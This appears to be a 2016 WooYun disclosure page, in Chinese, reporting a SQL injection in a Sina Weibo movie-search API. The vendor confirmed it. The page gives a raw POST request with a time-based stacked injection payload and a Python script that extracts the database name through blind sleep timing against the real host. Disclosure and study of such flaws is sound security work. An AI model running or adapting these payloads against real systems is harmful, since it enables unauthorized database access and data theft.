当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198797

漏洞标题:新浪微博某处SQL注入

相关厂商:新浪微博

漏洞作者: null_z

提交时间:2016-04-21 11:10

修复时间:2016-06-05 19:00

公开时间:2016-06-05 19:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

SQL注入

详细说明:

注入点 POST里面的count
多语句执行。

POST /movieapp/search/film HTTP/1.1
Host: ting.weibo.com
Content-Length: 262
Accept-Language: zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5
Accept-Encoding: gzip, deflate
Host: ting.weibo.com
Accept: application/json
User-Agent: WeiboMovie/1.4.0 (iPhone; iOS 7.1.1; Scale/2.00)
Connection: keep-alive
Cookie: TING-G0-YF=6680dac0d1b310949ec2a4ef5924410b; ua=(null)__iPhone 4S__os7.1.1__1.4.0
Content-Type: application/x-www-form-urlencoded
count=1%3B%28select%280%29from%28select%28sleep%286%29%29%29a%29%23&from=8614093010&os_n=iOS&country=402&wm=44995&year=2014&os_v=7.1.1&ip=192.168.1.100&d_n=iPhone%25204S&v=1.4.0&action=search%252Ffilm&aid=01AjI_c1UlopCQIJGthGIedPeYWowXfKdJgAqJYo-iBa-E9PQ.&page=1

漏洞证明:

版本

屏幕快照 2016-04-21 10.48.44.png


数据库 musiclib

屏幕快照 2016-04-21 10.51.47.png


#!/usr/bin/env python
#-*- coding: utf-8 -*-
import time
import string
import binascii
import requests
res = ''
character = "%." + string.digits + "@" + string.ascii_uppercase + "_" + string.ascii_lowercase
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
'Referer': 'www.baidu.com',
}
for i in range(1, 21):
for p in character:
start_time = time.time()
data = {"from": "8614093010", "os_n": "iOS", "country": "402", "wm": "44995", "year": "2014", "os_v": "7.1.1", "ip": "192.168.1.1", "d_n": "iPhone%204S", "v": "1.4.0", "action": "search/film", "aid": "01AjI_c1UlopCQIJGthGIedPeYWowXfKdJgAqJYo-iBa-E9PQ.", "page":1}
key = "1;(select(0)from(select(sleep(2*(ascii(mid(database(),{},1))={}))))a)#".format(i ,ord(p))
data.update({'count': key})
req = requests.post("http://ting.weibo.com/movieapp/search/film", data=data, headers=headers)
print req.request.body + ' --- ',time.time() - start_time
if time.time() - start_time > 2:
res += p
print "\n[Result]: " + res + "\n"
break
print "\n\n[Finish]: " + res

修复方案:

。。。

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-21 18:52

厂商回复:

感谢关注新浪安全,问题修复中。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-21 11:18 | 宇文硕 ( 路人 | Rank:0 漏洞数:1 | 回收废旧彩电,冰箱,洗衣机,电风扇,电脑,电...)

    二楼

  2. 2016-04-21 19:28 | dragon110 ( 路人 | Rank:4 漏洞数:2 | 谨言、慎行、多思。)

    这下尴尬了